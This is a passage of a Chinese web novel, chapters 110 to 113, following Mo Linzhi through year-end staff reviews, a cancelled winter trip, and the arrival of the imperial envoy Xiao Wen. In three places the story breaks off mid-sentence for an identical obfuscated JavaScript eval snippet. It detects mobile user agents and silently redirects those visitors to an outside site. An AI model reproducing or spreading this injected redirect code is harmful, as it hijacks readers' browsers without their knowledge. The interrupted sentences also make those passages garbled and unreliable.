飞毛腿之后就是见闻。倒是没想到，最寄予厚望的见闻会这么两级分化。 老人跟着她的时间久，知道她的标准和习惯，也有内容可以写，不管是交出来的东西还是当众宣讲的姿态，都显得游刃有余，很是老练。 对比之下，新人就差很多。但是，这一波新人进来也不短了，经历过拍卖会，经历过《见闻》分刊，还有其他大大小小的项目，按理说，不应该只是现在这样的。 整个述职过程的氛围肉眼可见地滑向寒冬。 虽然莫林知全程都保持着微笑，但晚玉和何梅藏不住事儿，这样的后果就是越到后面，上台的人讲述越紧张，声音都能听出有些发抖。 终于等所有人的述职都结束，室内一片寂静，不管是新人老人，脸上都不好看。 齐铭、晚玉、何梅三人几乎是强撑着精神说完了所有人的问题，然后低着头一脸愧色，一副等待宣判的样子。 一片肃穆中，莫林知反而笑了：“干嘛都这幅样子，有不足就说明有进步的空间，这是好事儿。再说了，从大家进来后的表现来看，其实能力是没有问题的。我估计吧，应该是最近事情太多，以至于很多人都只顾着埋头做事，忘了抬头总结，所以对于述职才不太熟练。没关系，熟能生巧的事情，以后多写写就好了。” 因为这番宽慰，不少人的脸上回了点点血色，也有少数人，依然难以释怀。 莫林知扫了一圈，继续往下说：“后备军没有培养到位，是管理层的职责。我不想去过多苛刻什么，在座的每一个老人都是我亲手招进来，亲手培养的，每一个新人，又是你们自己带进来的。这是一种传承，我不希望它断掉。当然，今天的述职做得不够好，不代表说你们比谁差，甚至可以说，对比火锅店飞毛腿，你们的汇报是最好的——但这远远不够，《见闻》是我花费最多心血的板块，我对你们的要求绝对是所有业务里面最高的，我希望，你们对自己也是这样的标准。” “所有的新人，重新递交一份述职报告，所有的管理层，递交一份内部人才培养计划，不只是新人，对于老人，我也要看到不同的成长方式。以上，有问题吗？” “没有！” 听着他们士气十足的回答，莫林知眼中闪过一丝笑意。 还好，精神气还在，至于松懈了什么的，紧紧皮就好了。 110. 述职下 内部的述职结束后又过了一天就是管理层的述职，昨天，北境各地的管事卡着时间都到了，大包小包的，来定安的第一件事就是登上王府，将随身携带的这一年的营收和账本给登记入库。 转头第二天，就是述职大会。 考虑到年底火锅店的营收不能耽搁，这一次的述职挪到了王府前院。参会人员不多，只有县级以上的管事才有资格列席，唯二的评判人是萧衍和萧瑾。 人员到齐后，作为总舵手兼主持人的莫林知起身，环顾一圈，没有任何资料的她微微一笑，直接开口： “今年我手中新开拓了3个业务：火锅店、《见闻》、飞毛腿，总营收就不提了，自有王爷评判，我只说2个目标：第一，明年三个业务的总营收翻4倍；第二，搭建高效流转的人才培养和管理制度。” “看似2个目标其实只有1个，因为人才培养和管理制度的完善，最终目的也是为了提升总营收。都说打江山容易守江山难，今年新业务动作频频，确实成绩喜人。可若是团队跟不上，那明年想要继续增长就难了。废话我也不多说，接下来将舞台交给我看好的高管人才，由他们来具体给大家讲述今年的收获以及明年的策略。首先欢迎见闻的总管事齐铭。” 莫林知说完后退一步坐下，在她下首第一位，齐铭起身，不疾不徐地将资料下发。 他的资料有点厚，内容和之前一样，分为总结和规划两部分。 总结，包含业务总结和个人总结，业务总结又从总部的成立到分部的建立进行了分别叙述。 例如0-1和1-10这两个发展阶段的不同和经验总结，还有各城、县、镇不同地域的营收差距以及这些差距的原因，←从这一点，他还衍生出了一项规章制度：划定了各城、县、镇应达到的最低业务体量标准，如若后续在没有天灾人祸等不可抗力的情况下没达到这个标准，则需要履行相应的惩罚制度，轻则罚绩效，重则影响升职加薪。 个人总结讲述得比较简略，用了雷达图来表现自己的五维能力和数据增长。例如刚入职，他最擅长的是商务谈判这一项，其他都比较弱，但是在后续的业务谈判以及沧澜一行中，他开始培养了自己对内容的敏感度，人群需求的敏感度，从而提升了其他维度的能力，实现了个人的进步。 在规划上，他顺着莫林知画出的框架线条做了一些细化，根据目标的逐月增速，给《优选》和《生活》分别制定了相应的绩效目标。至于目标具体应该怎么达成，他将舞台交给了晚玉和何梅。 晚玉和何梅的资料是顺着齐铭那一份来做的，打开就是一份具体的目标拆解。 这份目标拆解细化到每个月，目标营收、目标增速、以及为了达成目标预估需要完成的项目数量和承接人手——所以在她们下半年，是有一个招聘纳新计划的。 而数字拆解之后，就是具体的业务拆解。比如晚玉，从投入产出比的角度分析了各类目的盈利效率，从而得出明年要着重开拓的类目商家。 中间她还从今年总结出的有效营销策略里发现了一个增长点——代言人签约计划。 雏形就是和一些城内有一定声明的人达成合作契约，后期只要是《生活》的客户营销需求，这些人就必须帮着进行一定的宣传和推广。 其实有点类似那些mcn机构了，只不过在晚玉的规划里，不存在前期的“培养”阶段，而是做了一个资源整合与中介的角色。 刚开始拿到晚玉这份述职报告时，看到这一点，莫林知既惊讶又觉得理所当然。合作半年，她早就领会过这些人“举一反三”的能力了。只要给他们透露一个角，他们就能自己将整个饼做出来。 不过mcn这块莫林知也只是合作过但没深入了解过运营模式，所以，她只能给晚玉提前打了一些预防针。例如和那些人签约，签独家还是非独家，年框还是次框，以及后续若《见闻》不是唯一的信息平台了，这些人会不会倒戈等等。 当然，介于《见闻》目前的地位，有些问题都是后话，所以整个策略还是很可以试试的。做业务嘛，谁不是摸着石头过河呢~ 何梅这边也是，对于目前的版面，她做了免费内容和付费内容的区分。免费内容主要是各类排行榜为主，付费内容则包括[新品尝鲜]、[重磅推荐]等板块，收费高低不同，目前是根据版面的先后大小进行区分，后续等付费测试后，则会根据坑位的实际效果来做区分。 不管是齐铭还是晚玉、何梅，三个人的规划都让在场所有人大开眼界。 年中述职的时候，上台代表发言的是吴大和吴二掌柜，当时各地大大小小的管事就已经叹为观止，没想到年底再一看，发现这标准又上升了几个台阶。 这已经不只是目标清晰这么简单了，这是增长点在哪，预估承担多少目标，以及落地执行节奏和周期都一清二楚，最后每个人还按月将重点工作和目标拎了一遍——基本上在座所有人看到这份规划都有了一种自己照着做也能试试的错觉。 当然，做过事情的都知道，执行中那些细枝末节才是最考验人的，规划哪怕再落地，真正的考验也要做了才知道。可这三人仅凭一份报告，一通讲述，就让外行也听懂了这一行的运作模式，能力可见一斑。 可以说，三个人的表现，不止给自己长了脸，也给莫林知开头所说的“人才培养”当了一回典范。就从这三个人的表现来看，谁都不会再质疑“人”的重要性。 毕竟谁都听说过，这几个人是莫林知一手带出来的。 底下，有和吴大吴二相熟的人忍不住低声玩笑道：“啧啧，我是对这位莫管事的能耐彻底叹服了，现实版的点石成金啊！不过这么一对比，你们这简直像抱养的，人家才是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689716|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲生的。” 吴大掌柜一眼瞪过去，半点不嫉妒，心态平和得紧：“那有什么的，我好歹受过点拨，够我吃用一辈子了，你啊，也就趁这种机会偷偷师了！” 这话还真是血淋淋的现实，开玩笑那人顿时笑不出来了，头一缩，悻悻地退了回去继续听下面的汇报。 只不过有珠玉在前，后面的怎么听都有点食之乏味。 这上场的水平简直就像是倒三角，一层层递减，吴大吴二的比林显好一点，林显又比其他人的要好点，其他人中间，见闻体系的又格外出挑点······垫底就是那几个非莫林知业务体系下，受她影响最小的掌柜了。 他们的模板还停留在年中述职吴大吴二的那个示例上，再加上对那些图表没有吃透，导致文件上大篇幅的文字描述，看得有点累人，逻辑和条理也不是很清楚。 自知差距甚大的他们自己也一脸羞惭。 人知耻而后勇，对此，萧衍没有再过多批评或者不满，只是对莫林知今年的表现大加赞赏，并公开表态支持她的一切决定，让她放手去干。 除此之外，还对今天到场的所有人都发了一个红包，算是额外的奖励。莫林知好奇打开看了下，发现自己的是几个金子打造的包子，那褶子捏得，活灵活现的。 莫林知：？？？？ 几个意思？说我吃货？ 她探头看了眼，发现别人的都是正常得金瓜子银瓜子，就她格外不同。这下确认了，萧衍就是故意的。 大概是笑她有一阵子没忍住，天天早餐点名要吃大肉包吧。 有够无聊的！ 转移阵地去吃饭时，莫林知趁人不注意给了萧衍一个大大的白眼！ 萧衍面色不变，眼中笑意涌现。 下午，述职结束后，齐铭领着《见闻》旗下的管事去了总部，这些人明天就要返程了，在那之前，他们要抓紧时间将最近改版的相关事情沟通清楚。 虽然莫林知跟他们定的是年后天气暖和了开始各地巡视，全面落实改版事宜，可也不能真等他们到了一个地方再开始落实吧？那效率就太低了！所以最好的是趁此次县级以上的管事都在，把事情交代清楚，让他们自己心里有个数，提前规划起来。这样，年后上工就能直接开始落实了~ 到时候他们三个只需要进行巡检，确认没有矫枉过正的或者落实不到位的就行。 毕竟明年的事情也多，没可能都扑在这个上面。 沟通时莫林知在现场略坐了坐，发现没什么问题就提前离席了——培养得力干将的好处在这一刻终于得到充分体现。看，这些人还有半个月才能放假，但是她已经基本没什么事儿啦~~ 所以她决定，提前开始享受假期—— “所以，北境冬天有什么好玩的吗？”莫林知睁着大眼睛，一脸求知地看着晚香。 111. 放鸽子 晚香······其实也没怎么玩过。 进入王府前，她就是个流民，生存都困难，进入王府后，她的生活也就局限在了这一方天地，每天还是战战兢兢地做事，不敢有半点行差踏错。 不过虽然没玩过，但最近看过~ 晚香兴冲冲地从书架上翻出一本递到莫林知面前：“我看这上面介绍，说北境下雪以后才是最好玩的，尤其是在野外，可以用雪做房子，可暖和了，还有雪猎、冰钓等等。莫管事，我看这天色估计过不了几天就要落雪了，要不······咱去试试？” 莫林知没急着回复，而是仔仔细细看起了这本风物游记。 这人文笔有点意思，一个冰钓被他说得自己像被鱼调戏的猫一样，次次都在希望的边缘眼睁睁看着鱼溜走，最后还是他吃不住冻，准备收山时，老天爷可怜，主动送了一条鱼到他面前。 还有冬天抓兔子，那可真是考验眼力见~莫林知看着都忍不住想立马试一试了。 “玩这个是不是得去庄子上？”莫林知合上书，想了想，一锤定音，“我晚上吃饭的时候就和娘娘提一下，看她要不要一起去玩玩~” “那我就沾您的光了~~”晚香鼓掌叫好。 虽然敲定了一个行程，但打猎什么的那毕竟是后话了，这几日也得找点乐子啊！莫林知想了想，突然就想起了前世流行过一阵的炭烤下午茶，便让晚香弄了个炉子，然后找大厨房要了好些新鲜的食材。 什么红薯花生芹菜之类的，全都有，还要了好些羊奶。 晚香眼睁睁地看着莫林知在其中一个瓦罐的羊奶里加了一根芹菜，另一个瓦罐里加了点花生米，五官都控制不住地有些扭曲。 “莫管事，您确定这不会中毒吗？” “我看别人都是这么做的。”莫林知一边说一边随手丢了几颗板栗上去。 晚香闻言，内心大喊：到底是谁会这么干啊啊啊啊啊！ 她有些崩溃地想这些东西该不会等会儿得她来喝吧？能来个人拯救拯救她吗！！！ 也不知是不是新年快到了，神仙听到了她的呐喊，院门口出现了几个意想不到的人：萧衍、萧瑾和莫林杰。 莫林知惊讶地看着他们三：“今天这么空？不用处理公务读书习武吗？” “都处理好了。” “我们也是，今天的课业都结束了。”萧瑾连忙举起了小杰的手，“本来想带小杰出去逛逛的，正好碰到大哥，说想问问你要不要去附近玩玩，我就一起过来了~嘿嘿，见者有份啊！” 一听说玩，莫林知立马来了精神：“我支持！正好最近空了，去哪玩？” “距离城池四五十里有一个北归山，山中凹陷处有一个湖，其中的野生铜鱼味道很不错，要不这两天去尝尝？” 好吃的？莫林知眉一挑，爽快应了：“那就后天呗~问问娘娘要不要一起去~” “行，我让人提前去布置。” 游玩的事情被定下来了，正好炉子上的奶茶咕嘟咕嘟开始冒泡。莫林知将一摞碗摊开，首先捏起加芹菜的那罐给大家倒了一碗。 “自便哈，我就不招待了。”莫林知自己率先端起一份吹了吹，然后尝了一口。 (⊙o⊙)… 和想象的不太一样，又腥又······呕—— 闭眼一口闷的她假作咳嗽掩盖了扭曲的面容。 第二个端起来的是萧衍，喝了一口后他立马看了眼莫林知，然后不动声色地咽下去了。直到毫无察觉的萧瑾和莫林杰一个没忍住，全喷了出来。 “这什么鬼啊！！！”萧瑾擦着湿了一片的袖子大喊。 “不好意思，少加了一样东西。”莫林知呲牙笑笑，在几人惊恐的目光中切了几片胡萝卜进去，然后又撒了把生姜和糖。 “生姜去腥，这下应该没问题了，咱们先尝尝另外的吧。”她说着端起加了花生的那一罐。 不约而同地，萧瑾莫林杰都把碗缩回去了，就连萧衍都有意无意地用手盖着碗，低眉含笑。 “······不懂欣赏。”莫林知翻了个白眼，给自己倒了一碗。 花生煮奶还是很好喝的。北地种植的新鲜花生，又大又糯，还吸饱了羊奶的味道，一口下去，味道浓郁醇厚，一抿成泥。 在几人怀疑的眼神中，莫林知独享了一整罐花生奶，至于另外那份······确实没得救了。 这个和她想象中的结果太不一样了，之前流行芹菜羽衣甘蓝汁的时候，她也用这个兑过牛奶，味道蛮不错的，怎么现在就不行了呢？ 是奶的问题，还是芹菜应该先榨汁？ 这个念头在脑海一闪而过就没再理会了，当晚他们陪萧太妃吃饭时听对方也感兴趣，便兴高采烈地开始做全家一起出游的准备。 要住一晚，换洗衣物得带一套，万一烧烤什么的弄脏了~还有泡脚盆也带一个，大冬天的，不泡一泡根本上不了热。 还有什么？ 和晚香在院子里转来转去的莫林知完全没了工作时的条理，东一榔锤西一棒子的，给晚香都整不会了。她把莫林知按到藤椅上坐下，然后找了本书塞她手里，哄孩子似的说：“您就乖乖坐着看行不，我保证，少不了东西的！” 莫林知眨眨眼，双腿一盘，表示绝不下这个椅子，看着要多听话有多听话。 尽管考虑到晚玉这个上班族的心情，她俩已经克制再克制，但，有些雀跃是真的难以掩盖的，晚上还是遭到了晚玉的埋怨，说她俩悄悄双宿双飞不带自己。 莫林知只偷笑，不反驳。 她还是很理解这种别人游山玩水自己却只能案牍劳形的心情的。 埋怨就埋怨吧，反正实惠得了，被说也少不了几块肉，嘿嘿嘿嘿~~~ 不过不知道是不是老天爷看不过眼，第二天临出发时就悲剧了—— “不去了？或者······你忙你的，我带着娘娘和萧瑾他们去也行啊。”莫林知不死心地争取，但得到的是萧衍歉意中带着果断的拒绝： “抱歉，小知，你们现在出发很有可能和萧炆的队伍正面撞上，我担心他到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702814|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候使一些诡计，所以······” 未竟之语不言而喻。 莫林知懂，说白了就是非常时期，安全为上呗。 可······这种满心的期望突然落空的心情，真的好难受。不只是这一次，是过往这么多年许许多多次的反复落空！ 那一刻，心底涌起的厌烦和无力感几欲将她淹没。 想任性地不管不顾，想疯狂大叫，但······罢了，她是成年人，不是小孩子了。 莫林知闭了闭眼，深深吐出一口气，再睁开眼时，已然和平时没两样了。她冲萧衍行了个礼，克制而又疏离地笑笑：“那就下次有机会吧，王爷您忙，我先回小院了。” 说完，不等对方回答，转身即走。 看着她的背影，萧衍不知为何，心里无端升起一种心慌，好像眼前人转身跨出的不是一小步，而是一整个世界。 “小知······”他倏地开口，待人回头看过来时，脸上闪过一丝狼狈，匆忙许诺，“我保证，下次一定给你补上。” “哈······”一丝嗤笑忍无可忍地从嘴角溢出，莫林知视线滑向一边，微微摇头，“下次再说吧。” 在院子里着急转悠的晚香看着莫林知面无表情地推门进来，心里一咯噔，就知道是真的没戏了。 不过现在最要紧的不是能不能出去玩，而是怎么安抚面前的人——毫不夸张，认识这么久，她从没见莫林知脸色这么难看过。以往哪怕是训斥下属，也是带着笑意的嗔怒，让人警醒又不至于下不来台。 这样的表情，看似平静，但总让人有种浑身发毛的感觉。 晚香连忙倒了杯热水塞到莫林知手里，勉强哄道：“主要还是这两年时局动荡，变化无常，等王爷安定天下就好了。” 这样的安慰，简直和萧衍刚才那句“之后补上”一样，完全在莫林知的雷区蹦跶。那一瞬间，她心里那把火突然蹿起，差点烧没了理智，冲眼前人发火了。 莫林知深呼吸，竭力冷静：“你错了，只要他撇不开这种身份责任，这种事情就永远不会停止。” 晚香默然无语。 莫林知的语气太肯定了，她都不知道该怎么反驳，倒是莫林知，在这安静的空挡，自己慢慢平静下来了。 生气又能怎么样呢？成年人的无奈，她又不是没尝过。 小的时候还能抱怨父母，长大了，发现自己也不过是困在网中挣扎不掉的一只猎物而已，这种计划形成又落空的场景，她应该习以为常才是，没什么可抱怨的。 被情理劝通的莫林知渐渐舒展了紧绷的面容，在晚香松了口气的神色中，她勾唇饮下杯中茶水，转眼间就恢复了平时的淡定从容。 只有她自己知道，总是被辜负的莫林知，则更加坚定了自己想要的东西。 她起身，抻了抻懒腰，披了个斗篷往外走：“走吧，去看看。” “看什么？”晚香抄起一个暖炉连忙跟上。 “看看我们这位传说中来回收兵权的皇室贵胄到底有多威风！” 112. 氛围 莫林知和晚香两人在王府门口正好遇见带着亲卫准备出发的萧衍和萧瑾。 大概是觉得不太好意思，萧瑾眼神闪躲，不敢直视她的目光，倒是萧衍，见她面色已经恢复如常，心下大大松了口气，开口问她们要去哪。 “正好，想去城门见识见识这位皇城来的使者，不如就借王爷的光同行。” “那你与我同骑吧，我带你。”萧衍说着伸出了手。 莫林知目光在那只手上一扫而过，扬唇一笑：“抱歉，我比较喜欢自己骑。”说完看向一旁的管家，“劳烦，给我一匹马——等下，2匹。” 她记得，晚香提过自己会骑马。 管家看了下萧衍，见他微微点头，便下去安排了。少顷过后，马房管事牵着两匹略矮小温顺一点的马过来。莫林知随手选了一匹枣红色的，踩上脚蹬，利索翻身上马。那毫无阻滞感的动作，让萧衍眼神一凝。 他记得，即便是父母在世时，她应该也没机会接触到马匹这种战略物资的。不过想想她身上的神异之处，相比之下，这都不算最奇怪的了。 萧衍将念头抛诸脑后，拉住缰绳调转方向出发。 骑马是莫林知前世为数不多的任性之处，她没法让自己真正自由，就只能在周边的马场报了班，借由马背感受下驰骋和追风的快乐了。 不过江南的马背和北境的马背果然还是有些不一样吧，江南的风怎么吹都有种无形的束缚感，不像这北境，即便城内不能纵马，骑速很慢，但配着这冷冽的风，都有种畅快感。 突然，裸露在外牵着缰绳的手背一冰，莫林知凝神看去，发现竟然是一玫标准的六瓣雪花。 一片，两片······没多久，雪花越来越密。 莫林知抬头，看着说来就来的大雪，面色复杂：“下雪了。” 若是今日能顺利成行，说不定，今晚就能体验一把雪中打猎的滋味。 自嘲一笑，她抽了下缰绳，略略加快速度。 一行人刚登上城门就看到大雪纷飞中一支弯弯曲曲的队伍像蚂蚁一样向着这边挪动，若无意外，这应该就是萧炆和他的5000护卫队了。 确实如萧衍所料，若是她刚刚执意出门，恐怕双方要正面相撞，被人盯上。 可那又怎么样呢？ 莫林知一眨不眨地盯着那支越来越近的队伍，眼神越来越冷，脑子里都闪过了好几个报复方案。例如趁他们寒暄的时候骑上马就从队伍里冲过去吓得他们人仰马翻，又或者暗地使些绊子让这些人吃住不安宁，正纠结选哪一个呢，突然发现队伍最前头跑出来一个驾马狂奔的人，疯狂挥着手，嘴巴一张一合的，不知道在说什么。 过了会儿，待那人距离再近一些，寒风终于将他的话语送到了面前： “表哥——*我。” “哥，我的亲哥，救救我——” 听清这人喊了什么的莫林知表情一滞，脑子里那些点子全飞了，她忍不住转头，看着萧衍，一脸疑惑—— 你确定他是萧炆？皇城那边派来收复兵权的人？ 就这么个逗比？ 毫不夸张，她双眼5.8的视力都已经看到对方脸上冻成冰棱子的鼻涕眼泪了······ 半个小时后，披着萧衍贡献的大氅，抱着晚香贡献的暖炉哭得上气不接下气的萧炆终于等到了后面的大部队。但是身为大部队主人的他半点没有管理意识，见人到齐的第一句话就是眼巴巴地看向萧衍求进城：“表哥，现在可以让我进去了吧？我真的快冻死了，又冷又饿，迫切需要吃点热乎的好好睡一觉。” 萧衍冷肃着脸，半点没有被带跑偏：“你可以进城，但是这5000兵士只能去城外的军营安顿。” “成啊没问题，你直接安排就行。”萧炆挥挥手，不待萧衍吩咐，就转身换了张颐指气使的脸，“你们都听到了，本使一个人进城，你们就直接去军营那边吧。” 一个国字脸看着军阶还蛮高的人出列：“萧世子，您一个人恐怕不太好吧？不如让我等跟——啊！萧······萧世子！” 萧炆才懒得听这些人瞎忽悠，冲着人又上手又上脚地拳打脚踢，全无一点章法。莫林知隔着几层人都能看见那个将军脸上狼狈不甘又憋气的表情。 打完后，那将军还没咋地，萧炆已经气喘吁吁了，他略平了平气息，再度不容反驳地下令：“行了，谁不想听令的现在就滚，我允许你们打道回府！想留下就老实点！” 莫林知：······ 这个天，十有八九会冻死在路上，傻子才会打到回府。 果然，这话一出后，后面几人脸上虽然还是不甘心，但都不敢反驳了，倒是另外几人，笑眯眯地，一副事不关己的样子。 ——看样子，就这5000人，还分了好几个派系。 过了会儿，萧衍让部下将这5000兵士领走，自己则带着萧炆、萧瑾和莫林知上了马车——马车是刚才等候大军时，萧炆强烈要求下派人送过来的。 车里还提前放了火盆，厚厚的帘幕挡着，一进去就浑身暖融融的。 几人纷纷摘下斗篷散热，萧炆最夸张，舒爽地叹了一声，然后大大咧咧道：“表哥，这5000人随便你们折腾，大半都是丞相和太师塞进来的，我的人也就不到500个。我等会儿把名单给你，你看着吩咐就好。” 萧衍：······ 皇城这些年到底发生了什么？好端端的皇室子弟竟然养成了地主家的二傻子。 莫林知悄悄凑近了萧瑾：“这位是真的纯天然傻白甜还是扮猪吃老虎？” 萧瑾默默品了品“傻白甜”三个字，只觉得这总结真是越想越精妙，然后掩嘴小声回道：“我印象中那位长公主是个胸有丘壑的女中豪杰，要不然也不会给自己的长子挣下萧姓，不过具体的嘛还是听兄长怎么说吧。” 那就是妈宝男？莫林知脑子里瞬间冒出见过的各种奇葩妈宝男行径。正想着呢，上首萧炆就从胸口衣兜里掏啊掏，掏出一封信函扔到萧衍腿上：“喏，这是我娘让我带给你的，说你看过就知道了。” 萧衍撕开封口抽出信纸，也就薄薄一张。他三两下扫完，然后看向萧炆：“你娘说不着急让你回去，既如此，你就安心在北境住下。” 萧·大傻子· ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715488|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昏昏欲睡·炆：“没问题，我娘说了，到了这里一切听你的。” ——妥妥妈宝男没错了。 莫林知给人戳了个章，瞬间对他失了兴趣。她往后一靠，开始闭目养神。 不过，萧炆的到来应该还是有些不一样的意义的。 那天，萧衍将人安顿好又吃了顿“家宴”后整个人就不见了踪影。与之相应的，是城内越来越戒严的巡逻和城外频繁的军队调动。 莫林知偶尔去飞毛腿和见闻视察第一次“冬令时”的运作情况时，都能明显感觉到街上日益肃杀的氛围。倒没有什么店铺关张举家搬离之类的行为，大家生活一切如常，只是吧······那种不经意间神色的流转变化还是很微妙的。 就好像久经战火后解甲归田的战士，生活归生活，可一旦军情来了，下一秒就能抄刀子上阵杀敌的那种。 莫林知好不习惯，一向大大咧咧没什么安全意识的她都随身携带了一瓶辣椒水、石灰粉和一把匕首。 再过两日就是除夕了，这天是她承诺了所有人一起吃个火锅就开始放假的日子，作为总管事，她怎么也得出席一下。再加上在院子里闷了几天有点憋得慌，所以她和晚香商量了一下，这天一早就起床出了门，准备去早集尝尝本地地道的早食。 只是这路走着走着······ 莫林知悄悄凑近了晚香：“有人跟着我们，是王府的人吗？” “不是。”晚香也发现了，但这里是定安城，身边又人来人往的，她尚算镇定，“这附近就有飞毛腿，要警示吗？” 莫林知没回答，一边咬着手上的炸豆包，一边思考要怎么做才能在不波及无辜的情况下将身后2人一网打尽。 引到僻静处下手？好像风险过大了，她没那么崇高的节操，不想以身犯险。 金点子还没想出来眼看着早市就要走完了，莫林知脚步一转，在对面的一家面摊坐了下来。 “老板，两碗肉臊面。” “好嘞~”老板响亮应了一声，不一会儿端着面过来，“莫管事您慢用，今儿这面我请您了~” 莫林知愣了：“您认识我？” 老板咧嘴一笑：“嗨，这城中谁还不认识您啊~您做的那些事儿，真真就是这个！”他比了个大拇指，继续说，“我婆娘往年都要在绣坊做到年三十，今年拖您的福，多休息了四五天。” 原来如此~不过，认识那就好说了。 莫林知故意大声说这桌的辣子不够用了，让老板多加一点，然后在他走过来时连忙小声说：“求您帮个忙，我们被人跟踪了，劳烦你让人去附近的府衙或者飞毛腿通报一声。” 莫林知说完故意弄掉筷子，捡起来时冲不远处的两个灰衣短打，买东西都不专心，频频往这边看的男人示意了一下。 老板果然知机，没有大声嚷嚷，而是回到面摊上转悠忙活了一会儿，然后才冲不远处的一个肉铺吼道：“朱老三，我的肉臊不够了，再给我剁一斤五花！” 说完小跑着就去了对面肉铺。 莫林知以为他是要从肉铺借路，没想到后面的发展让她惊掉了下巴—— 113. 临别 只见老板和他口中的朱老三抄着刀子就出来了，直奔那两个灰衣短打的人，在人还没反应过来的时候一人一刀子往大腿上一划就给人放倒了。 两人还在那挣扎着喊冤，附近摊主递绳子的递绳子，堵路的堵路，还有人在他们想跑路时手中大圆勺一挥，精准给人前额和后脑勺一人一下，看得莫林知都忍不住缩脖子捂头。 老板和朱老三一人一只，给人捆成了节支虫，末了一声冷哼：“说吧，从哪混进来的，居然敢来这条街撒野！” 两人破口大骂：“你有毛病啊，我们兄弟俩好端端的吃个饭，上来就给我们一刀！我要告官！” “那就告！本地人都知道这条街不好惹，也就你们这种外地混进来的不知道天高地厚！这个时候混了个外人进城，我倒要看看谁有问题！” 真·外地人·莫林知汗颜：是她小瞧这条街了。 瞅瞅这些人配合的默契，一看就知道非一日之功，只怕合作过不少次，才能闯下“本地人都知道这条街不好惹”的名声。 这边的动静很快引来了官府的人，莫林知看到萧凛也混在其中，就放心地让他们将人带走了。为了表达感谢，她让正好路过的飞毛腿从火锅店带了几十份火锅底料赠给这些摊主。 直到坐在回王府的马车上，莫林知还在回味刚才那一幕，简直越想越可乐。不管是那两个鬼祟小人的下场还是周遭人顺滑无间的配合，真的有种看喜剧的错觉。 “你们北境人······真的有两把刷子。” 晚香一脸无奈：“更正一下，严格来说，我不是北境的，您才是。” “呃·····”莫林知卡舌了。 两人回到王府后，先去给萧太妃报了声平安，然后安安分分地窝着了。 就那一方小院子，能玩的都玩遍了。无聊的莫林知甚至还童心未泯地带着晚香给自己屋门口堆了两个大雪人看家护院，还给围栏一圈都放了二十几个小雪人······即便如此，也还是有大把时间难以消耗。最后干脆泡了个脚躺床上去了。 从前是没时间睡，现在是睡到头痛。 这一晚，半夜突然惊醒的莫林知忽闻门外踩雪的簌簌声，紧接着，一个人影印在了窗棂上。 莫林知悚然坐起，以为是昨天那拨人不死心，竟然混进了王府，于是悄悄起身，拿起旁边架子上的铜盆，蹲在门边准备守株待兔。突然听到门外一声熟悉的轻笑： “小知，你起来吗？” 是萧衍！ 她大大松了口气，连忙将铜盆放回然后穿上外衣和斗篷，这才去开门：“怎么是你，大晚上还不休息？” “刚从军营那边回来。抱歉啊，昨天听说你遇袭却不能及时赶回来看你。” “没关系，我知道你最近忙。”莫林知浑不在意地去旁边的炉子上拎来水壶给他倒了杯热水，然后才不紧不慢地点亮灯烛。 借由明亮起来的视线，萧衍清晰可见她脸上半点不作伪的理解和不在意，不由有些费解：“你遇袭我没能来看你你不在意，反倒是对不能带你出城去玩更生气······突然感觉你果然还是个十几岁的孩子。” 莫林知闻言，愣了一下，继而五味杂陈。 没想到这么繁忙的时候，事情过去好几天了他还会放在心上，或许······他对她的真心比她想象的更多一点。 这么多年了，她经历的失望已经数不胜数，在非公事场域，她早就已经失去了和人解释的欲望——正如那天被临时放鸽子，她也只不过是默默消化一样。 可能是萧衍过往的信任宽和，也可能是他当下不经意透露的真心，总而言之，莫林知愿意打开心胸，跟他多说两句：“不一样，你没有承诺过我遇袭你一定会立马出现在我身边保护我安慰我，且这种事情本身就不是人为可控制的，谁又说得准呢？我厌恶的，是出尔反尔，给了我希望再打碎的行径。” 萧衍若有所思：“原来如此······那我向你保证，以后不会再有这样的情况发生了。而且，我一定会尽快弥补上次的遗憾。” 莫林知瞟他两眼，但笑不语。 萧衍挑眉：“你不信？” “对，我不信。”莫林知坦言，“不是你的问题，是我自己的原因。我对和人相关的事情总是抱着极度悲观的态度，一旦有人打破我好不容易交付的信任，这个人在我这里就会直接归零，从头开始。所以，王爷，我建议您，少说，多做。” 少说，多做，这也是莫林知刻在脑门上的话。 很多人以为职场最难做的是事，实则不然，是人。再难做的事情，找出那根线头早晚会解决，但是为难你的人会永远存在。 见得多了，她就开始明哲保身。甚至对自己的直系下属，她也直言不讳地教导他们：在职场混，不要先想着怎么帮别人，先把自己的漏洞都堵死了，让别人抓不到错处才是正理！ 久而久之，谁都知道，她带出的人，都是滑不留手，明哲保身的性子。 